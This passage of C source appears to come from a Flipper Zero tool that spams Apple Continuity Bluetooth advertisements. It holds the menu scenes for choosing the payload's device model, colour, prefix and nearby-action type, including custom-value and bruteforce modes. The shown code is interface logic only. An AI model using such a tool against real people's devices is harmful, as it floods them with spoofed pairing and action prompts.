  741. selected = pp_models_count + 1;
  742. }
  743. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  744. if(!value && payload->mode == PayloadModeBruteforce) {
  745. selected = pp_models_count + 2;
  746. }
  747. submenu_set_selected_item(submenu, selected);
  748. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  749. }
  750. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  751. UNUSED(_ctx);
  752. UNUSED(event);
  753. return false;
  754. }
  755. void scene_continuity_pp_model_on_exit(void* _ctx) {
  756. UNUSED(_ctx);
  757. }
  758. static void pp_model_custom_callback(void* _ctx) {
  759. Ctx* ctx = _ctx;
  760. Payload* payload = &ctx->attack->payload;
  761. ContinuityCfg* cfg = &payload->cfg.continuity;
  762. if(payload->mode != PayloadModeBruteforce ||
  763. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  764. payload->mode = PayloadModeValue;
  765. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  766. scene_manager_previous_scene(ctx->scene_manager);
  767. scene_manager_previous_scene(ctx->scene_manager);
  768. }
  769. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  770. Ctx* ctx = _ctx;
  771. Payload* payload = &ctx->attack->payload;
  772. ContinuityCfg* cfg = &payload->cfg.continuity;
  773. ByteInput* byte_input = ctx->byte_input;
  774. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  775. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  776. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  777. byte_input_set_result_callback(
  778. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  779. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  780. }
  781. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  782. UNUSED(_ctx);
  783. UNUSED(event);
  784. return false;
  785. }
  786. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  787. UNUSED(_ctx);
  788. }
  789. static void pp_color_callback(void* _ctx, uint32_t index) {
  790. Ctx* ctx = _ctx;
  791. Payload* payload = &ctx->attack->payload;
  792. ContinuityCfg* cfg = &payload->cfg.continuity;
  793. uint8_t model_index = 0;
  794. uint8_t colors_count = 0;
  795. if(payload->mode == PayloadModeValue) {
  796. for(; model_index < pp_models_count; model_index++) {
  797. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  798. colors_count = pp_models[model_index].colors_count;
  799. break;
  800. }
  801. }
  802. }
  803. if(index == colors_count) {
  804. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  805. } else if(index == colors_count + 1U) {
  806. payload->mode = PayloadModeBruteforce;
  807. payload->bruteforce.counter = 0;
  808. payload->bruteforce.value = cfg->data.proximity_pair.color;
  809. payload->bruteforce.size = 1;
  810. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  811. scene_manager_previous_scene(ctx->scene_manager);
  812. } else {
  813. if(payload->mode != PayloadModeBruteforce ||
  814. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  815. payload->mode = PayloadModeValue;
  816. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  817. scene_manager_previous_scene(ctx->scene_manager);
  818. }
  819. }
  820. void scene_continuity_pp_color_on_enter(void* _ctx) {
  821. Ctx* ctx = _ctx;
  822. Payload* payload = &ctx->attack->payload;
  823. ContinuityCfg* cfg = &payload->cfg.continuity;
  824. Submenu* submenu = ctx->submenu;
  825. uint32_t selected = 0;
  826. submenu_reset(submenu);
  827. bool value = payload->mode == PayloadModeValue ||
  828. (payload->mode == PayloadModeBruteforce &&
  829. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  830. bool found = false;
  831. uint8_t colors_count = 0;
  832. if(payload->mode == PayloadModeValue) {
  833. for(uint8_t i = 0; i < pp_models_count; i++) {
  834. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  835. colors_count = pp_models[i].colors_count;
  836. for(uint8_t j = 0; j < colors_count; j++) {
  837. submenu_add_item(
  838. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  839. if(!found && value &&
  840. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  841. found = true;
  842. selected = j;
  843. }
  844. }
  845. break;
  846. }
  847. }
  848. }
  849. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  850. if(!found && value) {
  851. selected = colors_count;
  852. }
  853. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  854. if(!value && payload->mode == PayloadModeBruteforce) {
  855. selected = colors_count + 1;
  856. }
  857. submenu_set_selected_item(submenu, selected);
  858. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  859. }
  860. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  861. UNUSED(_ctx);
  862. UNUSED(event);
  863. return false;
  864. }
  865. void scene_continuity_pp_color_on_exit(void* _ctx) {
  866. UNUSED(_ctx);
  867. }
  868. static void pp_color_custom_callback(void* _ctx) {
  869. Ctx* ctx = _ctx;
  870. Payload* payload = &ctx->attack->payload;
  871. ContinuityCfg* cfg = &payload->cfg.continuity;
  872. if(payload->mode != PayloadModeBruteforce ||
  873. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  874. payload->mode = PayloadModeValue;
  875. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  876. scene_manager_previous_scene(ctx->scene_manager);
  877. scene_manager_previous_scene(ctx->scene_manager);
  878. }
  879. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  880. Ctx* ctx = _ctx;
  881. Payload* payload = &ctx->attack->payload;
  882. ContinuityCfg* cfg = &payload->cfg.continuity;
  883. ByteInput* byte_input = ctx->byte_input;
  884. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  885. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  886. byte_input_set_result_callback(
  887. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  888. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  889. }
  890. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  891. UNUSED(_ctx);
  892. UNUSED(event);
  893. return false;
  894. }
  895. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  896. UNUSED(_ctx);
  897. }
  898. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  899. Ctx* ctx = _ctx;
  900. Payload* payload = &ctx->attack->payload;
  901. ContinuityCfg* cfg = &payload->cfg.continuity;
  902. switch(index) {
  903. case 0:
  904. cfg->data.proximity_pair.prefix = 0x00;
  905. scene_manager_previous_scene(ctx->scene_manager);
  906. break;
  907. case pp_prefixes_count + 1:
  908. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  909. break;
  910. default:
  911. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  912. scene_manager_previous_scene(ctx->scene_manager);
  913. break;
  914. }
  915. }
  916. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  917. Ctx* ctx = _ctx;
  918. Payload* payload = &ctx->attack->payload;
  919. ContinuityCfg* cfg = &payload->cfg.continuity;
  920. Submenu* submenu = ctx->submenu;
  921. uint32_t selected = 0;
  922. bool found = false;
  923. submenu_reset(submenu);
  924. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  925. if(cfg->data.proximity_pair.prefix == 0x00) {
  926. found = true;
  927. selected = 0;
  928. }
  929. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  930. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  931. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  932. found = true;
  933. selected = i + 1;
  934. }
  935. }
  936. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  937. if(!found) {
  938. selected = pp_prefixes_count + 1;
  939. }
  940. submenu_set_selected_item(submenu, selected);
  941. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  942. }
  943. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  944. UNUSED(_ctx);
  945. UNUSED(event);
  946. return false;
  947. }
  948. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  949. UNUSED(_ctx);
  950. }
  951. static void pp_prefix_custom_callback(void* _ctx) {
  952. Ctx* ctx = _ctx;
  953. Payload* payload = &ctx->attack->payload;
  954. ContinuityCfg* cfg = &payload->cfg.continuity;
  955. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  956. scene_manager_previous_scene(ctx->scene_manager);
  957. scene_manager_previous_scene(ctx->scene_manager);
  958. }
  959. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  960. Ctx* ctx = _ctx;
  961. Payload* payload = &ctx->attack->payload;
  962. ContinuityCfg* cfg = &payload->cfg.continuity;
  963. ByteInput* byte_input = ctx->byte_input;
  964. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  965. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  966. byte_input_set_result_callback(
  967. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  968. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  969. }
  970. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  971. UNUSED(_ctx);
  972. UNUSED(event);
  973. return false;
  974. }
  975. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  976. UNUSED(_ctx);
  977. }
  978. static void na_action_callback(void* _ctx, uint32_t index) {
  979. Ctx* ctx = _ctx;
  980. Payload* payload = &ctx->attack->payload;
  981. ContinuityCfg* cfg = &payload->cfg.continuity;
  982. switch(index) {
  983. case 0:
  984. payload->mode = PayloadModeRandom;
  985. scene_manager_previous_scene(ctx->scene_manager);
  986. break;
  987. case na_actions_count + 1:
  988. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  989. break;
  990. case na_actions_count + 2:
  991. payload->mode = PayloadModeBruteforce;
  992. payload->bruteforce.counter = 0;
  993. payload->bruteforce.value = cfg->data.nearby_action.action;
  994. payload->bruteforce.size = 1;
  995. scene_manager_previous_scene(ctx->scene_manager);
  996. break;
  997. default:
  998. payload->mode = PayloadModeValue;
  999. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1000. scene_manager_previous_scene(ctx->scene_manager);
  1001. break;
  1002. }
  1003. }
  1004. void scene_continuity_na_action_on_enter(void* _ctx) {
  1005. Ctx* ctx = _ctx;
  1006. Payload* payload = &ctx->attack->payload;
  1007. ContinuityCfg* cfg = &payload->cfg.continuity;
  1008. Submenu* submenu = ctx->submenu;
  1009. uint32_t selected = 0;
  1010. submenu_reset(submenu);
  1011. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1012. if(payload->mode == PayloadModeRandom) {
  1013. selected = 0;
  1014. }
  1015. bool found = false;
  1016. for(uint8_t i = 0; i < na_actions_count; i++) {
  1017. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1018. if(!found && payload->mode == PayloadModeValue &&
  1019. cfg->data.nearby_action.action == na_actions[i].value) {
  1020. found = true;
  1021. selected = i + 1;
  1022. }
  1023. }
  1024. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1025. if(!found && payload->mode == PayloadModeValue) {
  1026. selected = na_actions_count + 1;
  1027. }
  1028. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1029. if(payload->mode == PayloadModeBruteforce) {
  1030. selected = na_actions_count + 2;
  1031. }
  1032. submenu_set_selected_item(submenu, selected);
  1033. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1034. }
  1035. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1036. UNUSED(_ctx);
  1037. UNUSED(event);
  1038. return false;
  1039. }
  1040. void scene_continuity_na_action_on_exit(void* _ctx) {
  1041. UNUSED(_ctx);
  1042. }
  1043. static void na_action_custom_callback(void* _ctx) {
  1044. Ctx* ctx = _ctx;
  1045. Payload* payload = &ctx->attack->payload;
  1046. ContinuityCfg* cfg = &payload->cfg.continuity;
  1047. payload->mode = PayloadModeValue;
  1048. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1049. scene_manager_previous_scene(ctx->scene_manager);
  1050. scene_manager_previous_scene(ctx->scene_manager);
  1051. }
  1052. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1053. Ctx* ctx = _ctx;
  1054. Payload* payload = &ctx->attack->payload;
  1055. ContinuityCfg* cfg = &payload->cfg.continuity;
  1056. ByteInput* byte_input = ctx->byte_input;
  1057. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1058. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1059. byte_input_set_result_callback(
  1060. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1061. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1062. }
  1063. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1064. UNUSED(_ctx);
  1065. UNUSED(event);
  1066. return false;
  1067. }
  1068. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1069. UNUSED(_ctx);
  1070. }
  1071. static void na_flags_callback(void* _ctx) {
  1072. Ctx* ctx = _ctx;
  1073. scene_manager_previous_scene(ctx->scene_manager);
  1074. }
  1075. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1076. Ctx* ctx = _ctx;
  1077. Payload* payload = &ctx->attack->payload;
  1078. ContinuityCfg* cfg = &payload->cfg.continuity;
  1079. ByteInput* byte_input = ctx->byte_input;
  1080. byte_input_set_header_text(byte_input, "Press back for automatic");
  1081. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1082. byte_input_set_result_callback(
  1083. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1084. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1085. }
  1086. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1087. Ctx* ctx = _ctx;
  1088. if(event.type == SceneManagerEventTypeBack) {
  1089. ctx->byte_store[0] = 0x00;
  1090. }
  1091. return false;
  1092. }
  1093. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1094. Ctx* ctx = _ctx;
  1095. Payload* payload = &ctx->attack->payload;
  1096. ContinuityCfg* cfg = &payload->cfg.continuity;
  1097. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1098. }